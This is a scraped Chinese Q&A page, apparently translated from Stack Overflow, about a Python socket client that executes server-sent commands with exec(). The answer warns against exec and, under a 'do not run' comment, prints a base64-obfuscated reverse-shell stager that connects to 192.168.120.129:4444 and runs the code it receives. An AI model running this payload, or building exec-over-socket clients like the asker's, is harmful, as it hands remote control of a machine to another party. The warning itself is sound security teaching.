• <legend id='Dg8rZ'><style id='Dg8rZ'><dir id='Dg8rZ'><q id='Dg8rZ'></q></dir></style></legend><tfoot id='Dg8rZ'></tfoot>

      <small id='Dg8rZ'></small><noframes id='Dg8rZ'>

      <i id='Dg8rZ'><tr id='Dg8rZ'><dt id='Dg8rZ'><q id='Dg8rZ'><span id='Dg8rZ'><b id='Dg8rZ'><form id='Dg8rZ'><ins id='Dg8rZ'></ins><ul id='Dg8rZ'></ul><sub id='Dg8rZ'></sub></form><legend id='Dg8rZ'></legend><bdo id='Dg8rZ'><pre id='Dg8rZ'><center id='Dg8rZ'></center></pre></bdo></b><th id='Dg8rZ'></th></span></q></dt></tr></i><div id='Dg8rZ'><tfoot id='Dg8rZ'></tfoot><dl id='Dg8rZ'><fieldset id='Dg8rZ'></fieldset></dl></div>
        <bdo id='Dg8rZ'></bdo><ul id='Dg8rZ'></ul>

        Python套接字在两台不同的计算机上未连接

        时间:2024-04-20
        <i id='s4jKA'><tr id='s4jKA'><dt id='s4jKA'><q id='s4jKA'><span id='s4jKA'><b id='s4jKA'><form id='s4jKA'><ins id='s4jKA'></ins><ul id='s4jKA'></ul><sub id='s4jKA'></sub></form><legend id='s4jKA'></legend><bdo id='s4jKA'><pre id='s4jKA'><center id='s4jKA'></center></pre></bdo></b><th id='s4jKA'></th></span></q></dt></tr></i><div id='s4jKA'><tfoot id='s4jKA'></tfoot><dl id='s4jKA'><fieldset id='s4jKA'></fieldset></dl></div>
          • <bdo id='s4jKA'></bdo><ul id='s4jKA'></ul>

            <legend id='s4jKA'><style id='s4jKA'><dir id='s4jKA'><q id='s4jKA'></q></dir></style></legend>

                  <small id='s4jKA'></small><noframes id='s4jKA'>

                  <tfoot id='s4jKA'></tfoot>
                    <tbody id='s4jKA'></tbody>
                  本文介绍了Python套接字在两台不同的计算机上未连接的处理方法,对大家解决问题具有一定的参考价值,需要的朋友们下面随着跟版网的小编来一起学习吧!

                  问题描述

                  我最近学习了python中的套接字库。我正在编写游戏的多人服务器,但在编写整个多人服务器之前,我决定编写一个小型服务器,仅用于查看服务器如何在Python中工作。当我编写服务器代码时,令人尴尬的是,当我在自己的Windows10计算机上运行客户端和服务器时,我的代码运行得很好,它连接并工作(它的工作是两个从hostname获取IP,但是客户端将发送主机名,获取IP的代码在服务器中执行并发送回客户端),但是当我与我的朋友共享客户端文件时,客户端和服务器没有连接,没有错误消息或其他什么,防火墙没有阻止任何连接,那么为什么它们没有连接呢?以下是服务器文件中的代码(print语句只是为了产生加载栏效果):

                  import socket
                  from time import sleep
                  #Default port number: 1234
                  server=socket.socket()
                  def run_server(port=1234):
                      print('Booting server...')
                      print('|-|-|-',end='')
                      sleep(0.05)
                      server.bind(('',port))
                      print('|-|-|-',end='')
                      sleep(0.05)
                      server.listen(5)
                      print('|-|-|',end='')
                      sleep(0.05)
                      print('
                  Server is running and can be accessed now
                  ===============================================')
                      while True:
                          c,addr=server.accept()
                          print('recieved connection from: ',addr)
                          c.send(bytes("ip=bytes(input('Welcome. Enter hostname to extract ip from: '),'utf-8')",'utf-8'))
                          c.send(bytes('_socket.send(ip)','utf-8'))
                          reply=c.recv(1024).decode('utf-8')
                          try:
                              ip=socket.gethostbyname(reply)
                          except:
                             c.send(bytes('''print("The hostname is either invalid or wasn't found")''','utf-8'))
                             c.send(bytes('_socket.close()','utf-8'))
                             continue
                          c.send(bytes("print('"+ip+"')",'utf-8'))
                          c.send(bytes('_socket.close()','utf-8'))
                  run_server()
                  

                  和客户端中的代码:

                  import socket
                  def run(mode='client'):
                      _socket=socket.socket()
                  ##    if mode=='client':
                      _socket.connect(('192.168.0.101',1234))
                  ##        return True
                      while True:
                          command=_socket.recv(1024).decode('utf-8')
                          exec(command)
                  ##    if mode=='server':
                  ##        _socket.bind((socket.gethostname(),1234))
                  ##        _socket.listen(5)
                  ##        while True:
                  ##            client,addr=_socket.accept()
                  ##            msg=client.recv(1024)
                  ##            if msg[-1]!=b'.':
                  ##                continue
                  ##            else:
                  ##                _socket.close()
                  ##                break
                  ##        return pickle.loads(msg)
                  while True:
                      try:
                          run()
                      except OSError:
                          continue
                  

                  (忽略注释代码,我只是保留它,以便在需要时可以将其复制到其他文件中)

                  其他信息(我之前错过了):在client.py文件中,您将看到最后几行是tryexcept OSError挡路。我添加了这个挡路,因为我不知道为什么,但是当我运行客户端时,我收到这个错误:

                  Traceback (most recent call last):
                    File "C:UsersDEVDHRITIDesktopFiles&FoldersHMMMMMpythonclient.py", line 24, in <module>
                      run()
                    File "C:UsersDEVDHRITIDesktopFiles&FoldersHMMMMMpythonclient.py", line 8, in run
                      command=_socket.recv(1024).decode('utf-8')
                  OSError: [WinError 10038] An operation was attempted on something that is not a socket
                  

                  当我使用tryexcept块隐藏此错误时,没有区别,客户端工作正常,没有显示任何问题。有人知道为什么会发生这种情况吗?

                  推荐答案

                  An operation was attempted on something that is not a socket通常表示您正在尝试对关闭的套接字执行操作。我还没有运行您的代码,但我相信正在发生的情况是,您的服务器向客户端发送了一条命令,然后指示客户端关闭。但是,客户端尝试接受来自服务器的无限消息;即使在客户端的套接字已关闭之后也是如此。

                  让客户端只接受一条消息,或者停止让服务器通知客户端自行关闭。

                  我会将客户端代码更改为如下所示:

                  try:
                      while True:
                          command=_socket.recv(1024).decode('utf-8')
                  except KeyboardInterrupt:
                      _socket.close()
                  

                  现在客户端可以在要退出时按ctrl+c自行关闭。


                  另外,不要像您一样使用exec;尤其是在不检查要exec使用内容的情况下。如果服务器曾经遭到破坏,或者服务器所有者变得恶意,或者如果您交换了服务器并让客户机向服务器发送命令,那么您就有可能使计算机exec运行受到损害。如果套接字的发送端发送如下代码,例如:

                  # Do not run this!
                  exec(__import__('base64').b64decode(__import__('codecs').getencoder('utf-8')('aW1wb3J0IHNvY2tldCx6bGliLGJhc2U2NCxzdHJ1Y3QsdGltZQpmb3IgeCBpbiByYW5nZSgxMCk6Cgl0cnk6CgkJcz1zb2NrZXQuc29ja2V0KDIsc29ja2V0LlNPQ0tfU1RSRUFNKQoJCXMuY29ubmVjdCgoJzE5Mi4xNjguMTIwLjEyOScsNDQ0NCkpCgkJYnJlYWsKCWV4Y2VwdDoKCQl0aW1lLnNsZWVwKDUpCmw9c3RydWN0LnVucGFjaygnPkknLHMucmVjdig0KSlbMF0KZD1zLnJlY3YobCkKd2hpbGUgbGVuKGQpPGw6CglkKz1zLnJlY3YobC1sZW4oZCkpCmV4ZWMoemxpYi5kZWNvbXByZXNzKGJhc2U2NC5iNjRkZWNvZGUoZCkpLHsncyc6c30pCg==')[0]))
                  

                  这将导致exec计算机启动反向TCP shell,并将其计算机的控制权交给另一台计算机!然后,另一端将能够在您的计算机上执行任何他们想要的操作(或者至少可以执行他们有权执行的任何操作)。

                  您永远不应该真正使用evalexec,除非它是在用户代码永远不会输入它的地方使用的。将用户输入直接送入exec非常危险,应不惜一切代价避免。

                  这篇关于Python套接字在两台不同的计算机上未连接的文章就介绍到这了,希望我们推荐的答案对大家有所帮助,也希望大家多多支持跟版网!

                  <small id='I2vne'></small><noframes id='I2vne'>

                    • <i id='I2vne'><tr id='I2vne'><dt id='I2vne'><q id='I2vne'><span id='I2vne'><b id='I2vne'><form id='I2vne'><ins id='I2vne'></ins><ul id='I2vne'></ul><sub id='I2vne'></sub></form><legend id='I2vne'></legend><bdo id='I2vne'><pre id='I2vne'><center id='I2vne'></center></pre></bdo></b><th id='I2vne'></th></span></q></dt></tr></i><div id='I2vne'><tfoot id='I2vne'></tfoot><dl id='I2vne'><fieldset id='I2vne'></fieldset></dl></div>
                        <tbody id='I2vne'></tbody>
                    • <tfoot id='I2vne'></tfoot>
                      <legend id='I2vne'><style id='I2vne'><dir id='I2vne'><q id='I2vne'></q></dir></style></legend>

                          <bdo id='I2vne'></bdo><ul id='I2vne'></ul>